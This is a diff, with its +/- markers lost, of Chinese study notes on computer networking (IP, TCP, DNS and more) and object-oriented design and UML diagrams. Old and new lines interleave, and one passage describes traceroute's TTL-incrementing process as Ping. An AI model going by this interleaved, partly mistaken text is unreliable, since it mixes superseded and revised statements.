- **FCS** :帧检验序列,使用的是 CRC 检验方法;
- **前同步码** :只是为了计算 FCS 临时加入的,计算结束之后会丢弃。
# 四、网络层 *
# 四、网络层*
## 网际协议 IP 概述
@ -354,7 +359,7 @@ MAC 地址是 6 字节48 位)的地址,用于唯一标识网络适配器
使用 IP 协议,可以把异构的物理网络连接起来,使得在网络层看起来好像是一个统一的网络。
<div align="center"> <img src="../pics//fe3d224c-8ffd-40f9-85b1-86ffe1393f6c.jpg"/> </div><br>
<div align="center"> <img src="../pics//7b038838-c75b-4538-ae84-6299386704e5.jpg" width="500"/> </div><br>
与 IP 协议配套使用的还有三个协议:
@ -362,15 +367,15 @@ MAC 地址是 6 字节48 位)的地址,用于唯一标识网络适配器
2. 网际控制报文协议 ICMPInternet Control Message Protocol
3. 网际组管理协议 IGMPInternet Group Management Protocol
<div align="center"> <img src="../pics//163cf8b4-5f30-46c9-af00-316a71b3c890.jpg"/> </div><br>
<div align="center"> <img src="../pics//0a9f4125-b6ab-4e94-a807-fd7070ae726a.png" width="400"/> </div><br>
## IP 数据报格式
<div align="center"> <img src="../pics//8681db55-0873-434b-aa98-83d07e8392ae.jpg"/> </div><br>
<div align="center"> <img src="../pics//85c05fb1-5546-4c50-9221-21f231cdc8c5.jpg" width="700"/> </div><br>
- **版本** : 有 4IPv4和 6IPv6两个值
- **首部长度** : 占 4 位,因此最大值为 15。值为 1 表示的是 1 个 32 位字的长度,也就是 4 字节。因为首部固定长度为 20 字节,因此该值最小为 5。如果可选部分的长度不是 4 字节的整数倍,就用尾部的填充部分来填充。
- **首部长度** : 占 4 位,因此最大值为 15。值为 1 表示的是 1 个 32 位字的长度,也就是 4 字节。因为首部固定长度为 20 字节,因此该值最小为 5。如果可选字段的长度不是 4 字节的整数倍,就用尾部的填充部分来填充。
- **区分服务** : 用来获得更好的服务,一般情况下不使用。
@ -380,7 +385,7 @@ MAC 地址是 6 字节48 位)的地址,用于唯一标识网络适配器
- **片偏移** : 和标识符一起,用于发生分片的情况。片偏移的单位为 8 字节。
<div align="center"> <img src="../pics//45c86855-9b18-4cf4-a9a7-f8b6eb78d133.png"/> </div><br>
<div align="center"> <img src="../pics//23ba890e-e11c-45e2-a20c-64d217f83430.png" width="700"/> </div><br>
- **生存时间** TTL它的存在是为了防止无法交付的数据报在互联网中不断兜圈子。以路由器跳数为单位当 TTL 为 0 时就丢弃数据报。
@ -388,21 +393,21 @@ MAC 地址是 6 字节48 位)的地址,用于唯一标识网络适配器
- **首部检验和** :因为数据报每经过一个路由器,都要重新计算检验和,因此检验和不包含数据部分可以减少计算的工作量。
## IP 地址编址
## IP 地址编址方式
IP 地址的编址方式经历了三个历史阶段:
1. 分类
2. 子网划分
3. 无分类
1. 分类
2. 子网划分
3. 无分类
### 1. 分类
由两部分组成,网络号和主机号,其中不同类具有不同的网络号长度,并且是固定的。
由两部分组成,网络号和主机号,其中不同类具有不同的网络号长度,并且是固定的。
IP 地址 ::= {< 网络号 >, < 主机号 >}
<div align="center"> <img src="../pics//2ddd6132-60be-4a72-9daa-3d9756191f4a.png"/> </div><br>
<div align="center"> <img src="../pics//cbf50eb8-22b4-4528-a2e7-d187143d57f7.png" width="500"/> </div><br>
### 2. 子网划分
@ -430,48 +435,38 @@ CIDR 的地址掩码可以继续称为子网掩码,子网掩码首 1 长度为
网络层实现主机之间的通信而链路层实现具体每段链路之间的通信。因此在通信过程中IP 数据报的源地址和目的地址始终不变,而 MAC 地址随着链路的改变而改变。
<div align="center"> <img src="../pics//86b71296-0d1e-4a63-bcd9-54955b6b781b.jpg"/> </div><br>
<div align="center"> <img src="../pics//66192382-558b-4b05-a35d-ac4a2b1a9811.jpg" width="700"/> </div><br>
## 地址解析协议 ARP
实现由 IP 地址得到 MAC 地址。
<div align="center"> <img src="../pics//1b4d6737-d834-46ed-8f9d-6f123e29c8dd.jpg"/> </div><br>
<div align="center"> <img src="../pics//b9d79a5a-e7af-499b-b989-f10483e71b8b.jpg" width="500"/> </div><br>
每个主机都有一个 ARP 高速缓存,里面有本局域网上的各主机和路由器的 IP 地址到硬件地址的映射表。
如果主机 A 知道主机 B 的 IP 地址,但是 ARP 高速缓存中没有该 IP 地址到 MAC 地址的映射,此时主机 A 通过广播的方式发送 ARP 请求分组,主机 B 收到该请求后会发送 ARP 响应分组给主机 A 告知其 MAC 地址,随后主机 A 向其高速缓存中写入主机 B 的 IP 地址到硬件地址的映射。
<div align="center"> <img src="../pics//8bc6fc2c-d198-4759-b06c-18d94d851e97.png"/> </div><br>
<div align="center"> <img src="../pics//8006a450-6c2f-498c-a928-c927f758b1d0.png" width="700"/> </div><br>
## 路由器的结构
路由器从功能上可以划分为两大部分:路由选择和分组转发。
路由器从功能上可以划分为:路由选择和分组转发。
分组转发部分由三部分组成:交换结构、一组输入端口和一组输出端口。
<div align="center"> <img src="../pics//3a676c54-b559-4466-9b21-eb10f1e25879.jpg"/> </div><br>
交换结构的交换网络有以下三种实现方式:
<div align="center"> <img src="../pics//7f82fd18-7f16-4125-ada6-bb6b795b4fda.png"/> </div><br>
分组转发结构由三个部分组成:交换结构、一组输入端口和一组输出端口。
<div align="center"> <img src="../pics//c3369072-c740-43b0-b276-202bd1d3960d.jpg" width="600"/> </div><br>
## 路由器分组转发流程
1. 从数据报的首部提取目的主机的 IP 地址 D得到目的网络地址 N。路由表项是网络号而不是 IP 地址,这样做大大减少了路由表条目数量);
1. 从数据报的首部提取目的主机的 IP 地址 D得到目的网络地址 N。
2. 若 N 就是与此路由器直接相连的某个网络地址,则进行直接交付;
3. 若路由表中有目的地址为 D 的特定主机路由,则把数据报传送给表中所指明的下一跳路由器;
4. 若路由表中有到达网络 N 的路由,则把数据报传送给路由表中所指明的下一跳路由器;
5. 若路由表中有一个默认路由,则把数据报传送给路由表中所指明的默认路由器;
6. 报告转发分组出错。
<div align="center"> <img src="../pics//8d211911-0e62-4190-ab00-d8610adec4a0.jpg"/> </div><br>
<div align="center"> <img src="../pics//1ab49e39-012b-4383-8284-26570987e3c4.jpg" width="800"/> </div><br>
## 路由选择协议
@ -484,7 +479,7 @@ CIDR 的地址掩码可以继续称为子网掩码,子网掩码首 1 长度为
1. 内部网关协议 IGPInterior Gateway Protocol在 AS 内部使用,如 RIP 和 OSPF。
2. 外部网关协议 EGPExternal Gateway Protocol在 AS 之间使用,如 BGP。
<div align="center"> <img src="../pics//e0be6970-5b0e-44a2-bc71-df4d61c42b8f.jpg"/> </div><br>
<div align="center"> <img src="../pics//276c31df-3b28-4ac2-b006-1e80fc86a64f.jpg" width="600"/> </div><br>
### 1. 内部网关协议 RIP
@ -524,32 +519,31 @@ BGP 只能寻找一条比较好的路由,而不是最佳路由。它采用路
每个 AS 都必须配置 BGP 发言人,通过在两个相邻 BGP 发言人之间建立 TCP 连接来交换路由信息。
<div align="center"> <img src="../pics//eb6271de-22c9-4f4b-8b31-eab1f560efac.png"/> </div><br>
<div align="center"> <img src="../pics//9cd0ae20-4fb5-4017-a000-f7d3a0eb3529.png" width="600"/> </div><br>
## 网际控制报文协议 ICMP
ICMP 是为了更有效地转发 IP 数据报和提高交付成功的机会。它封装在 IP 数据报中,但是不属于高层协议。
<div align="center"> <img src="../pics//9b5e0fa0-9274-4219-a3a9-84fbb509c735.jpg"/> </div><br>
<div align="center"> <img src="../pics//e3124763-f75e-46c3-ba82-341e6c98d862.jpg" width="500"/> </div><br>
ICMP 报文分为差错报告报文和询问报文。
<div align="center"> <img src="../pics//6e11b122-95ce-4869-bf7d-3b0d7591707e.jpg"/> </div><br>
<div align="center"> <img src="../pics//aa29cc88-7256-4399-8c7f-3cf4a6489559.png" width="600"/> </div><br>
## 分组网间探测 PING
PING 是 ICMP 的一个重要应用,主要用来测试两台主机之间的连通性。
PING 的过程:
Ping 发送的 IP 数据报封装的是无法交付的 UDP 用户数据报。
1. PING 同一个网段的主机:查找目的主机的 MAC 地址,然后直接交付。如果无法查找到 MAC 地址,就要进行一次 ARP 请求。
2. PING 不同网段的主机:发送到网关让其进行转发。同样要发送到网关也需要通过查找网关的 MAC 地址,根据 MAC 地址进行转发。
Ping 的过程:
## IP 多播
1. 源主机向目的主机发送一连串的 IP 数据报。第一个数据报 P1 的生存时间 TTL 设置为 1但 P1 到达路径上的第一个路由器 R1 时R1 收下它并把 TTL 减 1此时 TTL 等于 0R1 就把 P1 丢弃,并向源主机发送一个 ICMP 时间超过差错报告报文;
2. 源主机接着发送第二个数据报 P2并把 TTL 设置为 2。P2 先到达 R1R1 收下后把 TTL 减 1 再转发给 R2R2 收下后也把 TTL 减 1由于此时 TTL 等于 0R2 就丢弃 P2并向源主机发送一个 ICMP 时间超过差错报文。
3. 不断执行这样的步骤,直到最后一个数据报刚刚到达目的主机,主机不转发数据报,也不把 TTL 值减 1。但是因为数据报封装的是无法交付的 UDP因此目的主机要向源主机发送 ICMP 终点不可达差错报告报文。
4. 之后源主机知道了到达目的主机所经过的路由器 IP 地址以及到达每个路由器的往返时间。
在一对多的通信中,多播不需要将分组复制多份,从而大大节约网络资源。
<div align="center"> <img src="../pics//c77b6a18-dfac-42a2-ac89-7e99481275dc.jpg"/> </div><br>
## 虚拟专用网 VPN
@ -563,9 +557,9 @@ PING 的过程:
VPN 使用公用的互联网作为本机构各专用网之间的通信载体。专用指机构内的主机只与本机构内的其它主机通信;虚拟指“好像是”,而实际上并不是,它有经过公用的互联网。
下图中,场所 A 和 B 的通信经过互联网,如果场所 A 的主机 X 要和另一个场所 B 的主机 Y 通信IP 数据报的源地址是 10.1.0.1,目的地址是 10.2.0.3。数据报先发送到与互联网相连的路由器 R1R1 对内部数据进行加密,然后重新加上数据报的首部,源地址是路由器 R1 的全球地址 125.1.2.3,目的地址是路由器 R2 的全球地址 194.4.5.6。路由器 R2 收到数据报后将数据部分进行解密,恢复原来的数据报,此时目的地址为 10.2.0.3,就交付给 Y。
下图中,场所 A 和 B 的通信经过互联网,如果场所 A 的主机 X 要和另一个场所 B 的主机 Y 通信IP 数据报的源地址是 10.1.0.1,目的地址是 10.2.0.3。数据报先发送到与互联网相连的路由器 R1R1 对内部数据进行加密,然后重新加上数据报的首部,源地址是路由器 R1 的全球地址 125.1.2.3,目的地址是路由器 R2 的全球地址 194.4.5.6。路由器 R2 收到数据报后将数据部分进行解密,恢复原来的数据报,此时目的地址为 10.2.0.3,就交付给 Y。
<div align="center"> <img src="../pics//bf4ed077-d481-4db7-9e7a-85d841a5a8c3.jpg"/> </div><br>
<div align="center"> <img src="../pics//1556770b-8c01-4681-af10-46f1df69202c.jpg" width="800"/> </div><br>
## 网络地址转换 NAT
@ -573,29 +567,27 @@ VPN 使用公用的互联网作为本机构各专用网之间的通信载体。
在以前NAT 将本地 IP 和全球 IP 一一对应,这种方式下拥有 n 个全球 IP 地址的专用网内最多只可以同时有 n 台主机接入互联网。为了更有效地利用全球 IP 地址,现在常用的 NAT 转换表把运输层的端口号也用上了,使得多个专用网内部的主机共用一个全球 IP 地址。使用端口号的 NAT 也叫做网络地址与端口转换 NAPT。
<div align="center"> <img src="../pics//0f31bc7a-d60b-48a6-8e3f-597708369e52.png"/> </div><br>
<div align="center"> <img src="../pics//2719067e-b299-4639-9065-bed6729dbf0b.png" width=""/> </div><br>
# 五、运输层 *
# 五、运输层*
网络层只把分组发送到目的主机,但是真正通信的并不是主机而是主机中的进程。
运输层提供了应用进程间的逻辑通信。运输层向高层用户屏蔽了下面网络层的核心细节,使应用程序看见的好像在两个运输层实体之间有一条端到端的逻辑通信信道。
网络层只把分组发送到目的主机,但是真正通信的并不是主机而是主机中的进程。运输层提供了进程间的逻辑通信,运输层向高层用户屏蔽了下面网络层的核心细节,使应用程序看见的好像在两个运输层实体之间有一条端到端的逻辑通信信道。
## UDP 和 TCP 的特点
- 用户数据协议 UDPUser Datagram Protocol是无连接的尽最大可能交付没有拥塞控制面向报文对于应用程序传下来的报文不合并也不拆分只是添加 UDP 首部)。
- 用户数据协议 UDPUser Datagram Protocol是无连接的尽最大可能交付没有拥塞控制面向报文对于应用程序传下来的报文不合并也不拆分只是添加 UDP 首部)。
- 传输控制协议 TCPTransmission Control Protocol 是面向连接的,提供可靠交付,有流量控制,拥塞控制,提供全双工通信,面向字节流(把应用层传下来的报文看成字节流,把字节流组织成大小不等的数据块)
- 传输控制协议 TCPTransmission Control Protocol是面向连接的提供可靠交付有流量控制拥塞控制提供全双工通信面向字节流把应用层传下来的报文看成字节流把字节流组织成大小不等的数据块
## UDP 首部格式
<div align="center"> <img src="../pics//bd6c05f3-02ee-4c8a-b374-40c87154a898.jpg"/> </div><br>
<div align="center"> <img src="../pics//d4c3a4a1-0846-46ec-9cc3-eaddfca71254.jpg" width="600"/> </div><br>
首部字段只有 8 个字节包括源端口、目的端口、长度、检验和。12 字节的伪首部是为了计算检验和临时添加的。
## TCP 首部格式
<div align="center"> <img src="../pics//21a00b02-c0a6-4bcd-9af0-5ec6bb66e34c.jpg"/> </div><br>
<div align="center"> <img src="../pics//55dc4e84-573d-4c13-a765-52ed1dd251f9.png" width="700"/> </div><br>
- **序号** :用于对字节流进行编号,例如序号为 301表示第一个字节的编号为 301如果携带的数据长度为 100 字节,那么下一个报文段的序号应为 401。
@ -613,7 +605,7 @@ VPN 使用公用的互联网作为本机构各专用网之间的通信载体。
## TCP 的三次握手
<div align="center"> <img src="../pics//086871db-5871-460f-97b7-126cd738bb0e.jpg"/> </div><br>
<div align="center"> <img src="../pics//e92d0ebc-7d46-413b-aec1-34a39602f787.png" width="600"/> </div><br>
假设 A 为客户端B 为服务器端。
@ -624,34 +616,46 @@ VPN 使用公用的互联网作为本机构各专用网之间的通信载体。
3. B 收到连接请求报文段,如果同意建立连接,则向 A 发送连接确认报文段SYN=1ACK=1确认号为 x+1同时也选择一个初始的序号 y。
4. A 收到 B 的连接确认报文段后,还要向 B 发出确认,确认号为 y+1序号为 x+1。
5. B 收到 A 的确认后,连接建立。
**三次握手的原因**
第三次握手是为了防止失效的连接请求到达服务器,让服务器错误打开连接。
失效的连接请求是指,客户端发送的连接请求在网络中滞留,客户端因为没及时收到服务器端发送的连接确认,因此就重新发送了连接请求。滞留的连接请求并不是丢失,之后还是会到达服务器。如果不进行第三次握手,那么服务器会误认为客户端重新请求连接,然后打开了连接。但是并不是客户端真正打开这个连接,因此客户端不会给服务器发送数据,这个连接就白白浪费了。
## TCP 的四次挥手
<div align="center"> <img src="../pics//78f65456-666b-4044-b4ee-f7692dbbc0d3.jpg"/> </div><br>
<div align="center"> <img src="../pics//f87afe72-c2df-4c12-ac03-9b8d581a8af8.jpg" width="600"/> </div><br>
以下描述不讨论序号和确认号,因为序号和确认号的规则比较简单。并且不讨论 ACK因为 ACK 在连接建立之后都为 1。
1. A 发送连接释放报文段FIN=1
1. A 发送连接释放报文段FIN=1
2. B 收到之后发出确认,此时 TCP 属于半关闭状态B 能向 A 发送数据但是 A 不能向 B 发送数据
2. B 收到之后发出确认,此时 TCP 属于半关闭状态B 能向 A 发送数据但是 A 不能向 B 发送数据
3. 当 B 要不再需要连接时发送连接释放请求报文段FIN=1
3. 当 B 要不再需要连接时发送连接释放请求报文段FIN=1
4. A 收到后发出确认,此时连接释放
4. A 收到后发出确认,进入 TIME-WAIT 状态,等待 2MSL 时间后释放连接
### TIME_WAIT
5. B 收到 A 的确认后释放连接。
客户端接收到服务器端的 FIN 报文后进入此状态,此时并不是直接进入 CLOSED 状态,还需要等待一个时间计时器设置的时间。这么做有两个理由:
**四次挥手的原因**
客户端发送了 FIN 连接释放报文之后,服务器收到了这个报文,就进入了 CLOSE-WAIT 状态。这个状态是为了让服务器端发送还未传送完毕的数据,传送完毕之后,服务器会发送 FIN 连接释放报文。
**TIME_WAIT**
客户端接收到服务器端的 FIN 报文后进入此状态,此时并不是直接进入 CLOSED 状态,还需要等待一个时间计时器设置的时间 2MSL。这么做有两个理由
1. 确保最后一个确认报文段能够到达。如果 B 没收到 A 发送来的确认报文段那么就会重新发送连接释放请求报文段A 等待一段时间就是为了处理这种情况的发生。
2. 可能存在“已失效的连接请求报文段”,为了防止这种报文段出现在本次连接之外,需要等待一段时间。
2. 等待一段时间是为了让本连接持续时间内所产生的所有报文段都从网络中消失,使得下一个新的连接不会出现旧的连接请求报文段
## TCP 滑动窗口
<div align="center"> <img src="../pics//223fc26e-2fd6-484c-bcb7-443cac134f15.jpg"/> </div><br>
<div align="center"> <img src="../pics//a3253deb-8d21-40a1-aae4-7d178e4aa319.jpg" width="800"/> </div><br>
窗口是缓存的一部分,用来暂时存放字节流。发送方和接收方各有一个窗口,接收方通过 TCP 报文段中的窗口字段告诉发送方自己的窗口大小,发送方根据这个值和其它信息设置自己的窗口大小。
@ -677,30 +681,30 @@ TCP 使用超时重传来实现可靠传输:如果一个已经发送的报文
流量控制是为了控制发送方发送速率,保证接收方来得及接收。
接收方发送的确认报文中的窗口字段可以用来控制发送方窗口大小,从而影响发送方的发送速率。例如将窗口字段设置为 0则发送方不能发送数据。
接收方发送的确认报文中的窗口字段可以用来控制发送方窗口大小,从而影响发送方的发送速率。将窗口字段设置为 0则发送方不能发送数据。
## TCP 拥塞控制
如果网络出现拥塞,分组将会丢失,此时发送方会继续重传,从而导致网络拥塞程度更高。因此当出现拥塞时,应当控制发送方的速率。这一点和流量控制很像,但是出发点不同。流量控制是为了让接收方能来得及接受,而拥塞控制是为了降低整个网络的拥塞程度。
<div align="center"> <img src="../pics//a69af9bb-b5ad-4896-862d-697e5ee4feb1.png"/> </div><br>
<div align="center"> <img src="../pics//51e2ed95-65b8-4ae9-8af3-65602d452a25.jpg" width="500"/> </div><br>
TCP 主要通过四种算法来进行拥塞控制:慢开始、拥塞避免、快重传、快恢复。发送方需要维护一个叫做拥塞窗口cwnd的状态变量。注意拥塞窗口与发送方窗口的区别拥塞窗口只是一个状态变量实际决定发送方能发送多少数据的是发送方窗口。
TCP 主要通过四种算法来进行拥塞控制慢开始、拥塞避免、快重传、快恢复。发送方需要维护一个叫做拥塞窗口cwnd的状态变量。注意拥塞窗口与发送方窗口的区别拥塞窗口只是一个状态变量实际决定发送方能发送多少数据的是发送方窗口。
为了便于讨论,做如下假设:
1. 接收方有足够大的接收缓存,因此不会发生流量控制;
2. 虽然 TCP 的窗口基于字节,但是这里设窗口的大小单位为报文段。
<div align="center"> <img src="../pics//346244ff-98c1-4f12-9a87-d0832e8c04cf.jpg"/> </div><br>
<div align="center"> <img src="../pics//910f613f-514f-4534-87dd-9b4699d59d31.png" width="800"/> </div><br>
### 1. 慢开始与拥塞避免
发送的最初执行慢开始,令 cwnd=1发送方只能发送 1 个报文段;当收到确认后,将 cwnd 加倍因此之后发送方能够发送的报文段为2、4、8 ...
发送的最初执行慢开始,令 cwnd=1发送方只能发送 1 个报文段;当收到确认后,将 cwnd 加倍,因此之后发送方能够发送的报文段数量2、4、8 ...
注意到慢开始每个轮次都将 cwnd 加倍,这样会让 cwnd 增长速度非常快,从而使得发送方发送的速度增长速度过快,网络拥塞的可能也就更高。设置一个慢开始门限 ssthresh当 cwnd >= ssthresh 时,进入拥塞避免,每个轮次只将 cwnd 加 1。
如果出现了超时,则令 ssthresh = cwnd / 2然后重新执行慢开始。
如果出现了超时,则令 ssthresh = cwnd/2然后重新执行慢开始。
### 2. 快重传与快恢复
@ -708,11 +712,11 @@ TCP 主要通过四种算法来进行拥塞控制:慢开始、拥塞避免、
在发送方,如果收到三个重复确认,那么可以确认下一个报文段丢失,例如收到三个 M<sub>2</sub> ,则 M<sub>3</sub> 丢失。此时执行快重传,立即重传下一个报文段。
在这种情况下,只是丢失个别报文段,而不是网络拥塞,因此执行快恢复,令 ssthresh = cwnd / 2 cwnd = ssthresh注意到此时直接进入拥塞避免。
在这种情况下,只是丢失个别报文段,而不是网络拥塞,因此执行快恢复,令 ssthresh = cwnd/2 cwnd = ssthresh注意到此时直接进入拥塞避免。
<div align="center"> <img src="../pics//b18d679b-c8e2-4564-88ee-7600090e46da.jpg"/> </div><br>
<div align="center"> <img src="../pics//f61b5419-c94a-4df1-8d4d-aed9ae8cc6d5.png" width="600"/> </div><br>
# 六、应用层 *
# 六、应用层*
## 域名系统 DNS
@ -724,9 +728,9 @@ TCP 主要通过四种算法来进行拥塞控制:慢开始、拥塞避免、
一个域名由多个层次构成,从上层到下层分别为顶级域名、二级域名、三级域名以及四级域名。所有域名可以画成一颗域名树。
<div align="center"> <img src="../pics//c2117f61-1177-4768-bf33-cf4f950d911c.png"/> </div><br>
<div align="center"> <img src="../pics//c2117f61-1177-4768-bf33-cf4f950d911c.png" width=""/> </div><br>
<div align="center"> <img src="../pics//a4b162e5-db2a-4a27-b213-1fe481c5a06a.png"/> </div><br>
<div align="center"> <img src="../pics//a4b162e5-db2a-4a27-b213-1fe481c5a06a.png" width=""/> </div><br>
域名服务器可以分为以下四类:
@ -737,25 +741,25 @@ TCP 主要通过四种算法来进行拥塞控制:慢开始、拥塞避免、
区和域的概念不同,可以在一个域中划分多个区。图 b 在域 abc.com 中划分了两个区abc.com 和 y.abc.com
<div align="center"> <img src="../pics//fc0c6b2d-68c7-4de8-aaaa-97355a4f0472.jpg"/> </div><br>
<div align="center"> <img src="../pics//fc0c6b2d-68c7-4de8-aaaa-97355a4f0472.jpg" width=""/> </div><br>
因此就需要两个权限域名服务器:
<div align="center"> <img src="../pics//8b335d94-c1ca-42e1-ad48-bb179d28a4f1.jpg"/> </div><br>
<div align="center"> <img src="../pics//8b335d94-c1ca-42e1-ad48-bb179d28a4f1.jpg" width=""/> </div><br>
### 2. 解析过程
主机向本地域名服务器解析的过程采用递归,而本地域名服务器向其它域名服务器解析可以使用递归和迭代两种方式。
迭代的方式下,本地域名服务器向一个域名服务器解析请求解析之后,结果返回到本地域名服务器,然后本地域名服务器继续向其它域名服务器请求解析;而递归方式下,结果不是直接返回的,而是继续向前请求解析,最后的结果才会返回。
迭代的方式下,本地域名服务器向一个域名服务器解析请求解析之后,结果返回到本地域名服务器,然后本地域名服务器继续向其它域名服务器请求解析;而递归方式下,结果不是直接返回的,而是继续向前请求解析,最后的结果才会返回。
<div align="center"> <img src="../pics//6bc61bb8-3b1c-4dc8-ac25-cef925ace0eb.jpg"/> </div><br>
<div align="center"> <img src="../pics//e6723b94-1a33-4605-b775-f6813352d383.png" width="800"/> </div><br>
## 文件传输协议 FTP
FTP 在运输层使用 TCP并且需要建立两个并行的 TCP 连接:控制连接和数据连接。控制连接在整个会话期间一直保持打开,而数据连接在数据传送完毕之后就关闭。控制连接使用端口号 21数据连接使用端口号 20。
<div align="center"> <img src="../pics//58633775-8584-4a01-ad3f-eee4d9a466e1.jpg"/> </div><br>
<div align="center"> <img src="../pics//30210b86-472d-4574-abb6-b74898cc17a4.jpg" width="700"/> </div><br>
## 远程终端协议 TELNET
@ -763,15 +767,11 @@ TELNET 用于登录到远程主机上,并且远程主机上的输出也会返
TELNET 可以适应许多计算机和操作系统的差异,例如不同操作系统系统的换行符定义。
## 万维网 WWW
[HTTP](https://github.com/CyC2018/InterviewNotes/blob/master/notes/HTTP.md)
## 电子邮件协议
一个电子邮件系统由三部分组成:用户代理、邮件服务器以及邮件发送协议和读取协议。其中发送协议常用 SMTP读取协议常用 POP3 和 IMAP。
<div align="center"> <img src="../pics//de1e46d2-748f-4da3-a29e-7de7bc840366.jpg"/> </div><br>
<div align="center"> <img src="../pics//7b3efa99-d306-4982-8cfb-e7153c33aab4.png" width="700"/> </div><br>
### 1. POP3
@ -785,7 +785,7 @@ IMAP 协议中客户端和服务器上的邮件保持同步,如果不去手动
SMTP 只能发送 ASCII 码,而互联网邮件扩充 MIME 可以发送二进制文件。MIME 并没有改动或者取代 SMTP而是增加邮件主题的结构定义了非 ASCII 码的编码规则。
<div align="center"> <img src="../pics//ed5522bb-3a60-481c-8654-43e7195a48fe.png"/> </div><br>
<div align="center"> <img src="../pics//ed5522bb-3a60-481c-8654-43e7195a48fe.png" width=""/> </div><br>
## 动态主机配置协议 DHCP
@ -884,5 +884,5 @@ P2P 是一个分布式系统,任何时候都有对等方加入或者退出。
# 参考资料
- 计算机网络 第七版
- 计算机网络 自顶向下方法
- 计算机网络, 谢希仁
- JamesF.Kurose, KeithW.Ross, 库罗斯, 等. 计算机网络: 自顶向下方法 [M]. 机械工业出版社, 2014.

File diff suppressed because it is too large Load Diff

View File

@ -107,6 +107,7 @@
* [10. 塑造模板函数](#10-塑造模板函数)
* [11. 以委托取代继承](#11-以委托取代继承)
* [12. 以继承取代委托](#12-以继承取代委托)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
@ -1250,3 +1251,7 @@ public Manager(String name, String id, int grade) {
你在两个类之间使用委托关系,并经常为整个接口编写许多极简单的委托函数。
让委托类继承受托类。
# 参考资料
- MartinFowler, 福勒, 贝克, 等. 重构: 改善既有代码的设计 [M]. 电子工业出版社, 2011.

View File

@ -6,21 +6,25 @@
* [封装](#封装)
* [继承](#继承)
* [多态](#多态)
* [三、UML](#三uml)
* [类图](#类图)
* [时序图](#时序图)
* [三、类图](#三类图)
* [泛化关系 (Generalization)](#泛化关系-generalization)
* [实现关系 (Realization)](#实现关系-realization)
* [聚合关系 (Aggregation)](#聚合关系-aggregation)
* [组合关系 (Composition)](#组合关系-composition)
* [关联关系 (Association)](#关联关系-association)
* [依赖关系 (Dependency)](#依赖关系-dependency)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
# 一、设计原则
设计原则可以帮助我们避免那些糟糕的设计。
## S.O.L.I.D
| 简写 | 全拼 | 中文翻译 |
| -- | -- | -- |
| :--: | :--: | :--: |
| SRP | The Single Responsibility Principle | 单一责任原则 |
| OCP | The Open Closed Principle | 开放封闭原则 |
| LSP | The Liskov Substitution Principle | 里氏替换原则 |
@ -55,14 +59,13 @@
> 不应该强迫客户依赖于它们不用的方法。
因此使用多个专门的接口比使用单一的总接口要好。
因此使用多个专门的接口比使用单一的总接口要好。
### 5. 依赖倒置原则
> 高层模块不应该依赖于低层模块,二者都应该依赖于抽象。
> 抽象不应该依赖于细节,细节应该依赖于抽象。
> 高层模块不应该依赖于低层模块,二者都应该依赖于抽象;</br>抽象不应该依赖于细节,细节应该依赖于抽象。
高层模块包含一个应用程序中重要的策略选择和业务模块,如果高层模块依赖于底层模块,那么底层模块的改动就会直接影响到高层模块,从而迫使高层模块也需要改动。
高层模块包含一个应用程序中重要的策略选择和业务模块,如果高层模块依赖于低层模块,那么低层模块的改动就会直接影响到高层模块,从而迫使高层模块也需要改动。
依赖于抽象意味着:
@ -75,7 +78,7 @@
除了上述的经典原则,在实际开发中还有下面这些常见的设计原则。
| 简写 | 全拼 | 中文翻译 |
| -- | -- | -- |
| :--: | :--: | :--: |
|LOD| The Law of Demeter | 迪米特法则 |
|CRP| The Composite Reuse Principle | 合成复用原则 |
|CCP| The Common Closure Principle | 共同封闭原则 |
@ -84,7 +87,7 @@
### 1. 迪米特法则
迪米特法则又叫作最少知道原则Least Knowledge Principle 简写LKP就是说一个对象应当对其他对象有尽可能少的了解不和陌生人说话。
迪米特法则又叫作最少知识原则Least Knowledge Principle简写 LKP就是说一个对象应当对其他对象有尽可能少的了解不和陌生人说话。
### 2. 合成复用原则
@ -197,147 +200,47 @@ public class Music {
}
```
# 三、UML
# 三、类图
## 类图
## 泛化关系 (Generalization)
### 1. 继承相关
用来描述继承关系,在 Java 中使用 extends 关键字。
继承有两种形式 : 泛化Generalize和实现Realize表现为 IS-A 关系。
<div align="center"> <img src="../pics//b418ca51-f005-4510-b7ad-f092eb6aeb24.png"/> </div><br>
#### 泛化关系 (Generalize)
## 实现关系 (Realization)
从具体类中继承
用来实现一个接口,在 Java 中使用 implement 关键字
<div align="center"> <img src="../pics//29badd92-109f-4f29-abb9-9857f5973928.png"/> </div><br>
<div align="center"> <img src="../pics//27cd6f0c-f581-45da-b8c9-fed026830560.png"/> </div><br>
#### 实现关系 (Realize)
## 聚合关系 (Aggregation)
从抽象类或者接口中继承
表示整体由部分组成,但是整体和部分不是强依赖的,整体不存在了部分还是会存在
<div align="center"> <img src="../pics//4b16e1d3-3a60-472c-9756-2f31b1c48abe.png"/> </div><br>
<div align="center"> <img src="../pics//aa42f9c6-ad7a-48f4-8e8b-f3b6de3feaec.png"/> </div><br>
### 2. 整体和部分
#### 聚合关系 (Aggregation)
表示整体由部分组成,但是整体和部分不是强依赖的,整体不存在了部分还是会存在。以下表示 B 由 A 组成:
<div align="center"> <img src="../pics//34259bb8-ca3a-4872-8771-9e946782d9c3.png"/> </div><br>
#### 组合关系 (Composition)
## 组合关系 (Composition)
和聚合不同,组合中整体和部分是强依赖的,整体不存在了部分也不存在了。比如公司和部门,公司没了部门就不存在了。但是公司和员工就属于聚合关系了,因为公司没了员工还在。
<div align="center"> <img src="../pics//7dda050d-ac35-4f47-9f51-18f18ed6fa9a.png"/> </div><br>
<div align="center"> <img src="../pics//0e34263d-7287-4ffe-a716-37c53d1a2526.png"/> </div><br>
### 3. 相互联系
#### 关联关系 (Association)
## 关联关系 (Association)
表示不同类对象之间有关联,这是一种静态关系,与运行过程的状态无关,在最开始就可以确定。因此也可以用 1 对 1、多对 1、多对多这种关联关系来表示。比如学生和学校就是一种关联关系一个学校可以有很多学生但是一个学生只属于一个学校因此这是一种多对一的关系在运行开始之前就可以确定。
<div align="center"> <img src="../pics//4ccd294c-d6b2-421b-839e-d88336ff5fb7.png"/> </div><br>
<div align="center"> <img src="../pics//2017511e-22f0-4d74-873d-1261b71cf5a4.png"/> </div><br>
#### 依赖关系 (Dependency)
## 依赖关系 (Dependency)
和关联关系不同的是 , 依赖关系是在运行过程中起作用的。一般依赖作为类的构造器或者方法的参数传入。双向依赖时一种不好的设计。
和关联关系不同的是依赖关系是在运行过程中起作用的。A 类和 B 类是依赖关系主要有三种形式:
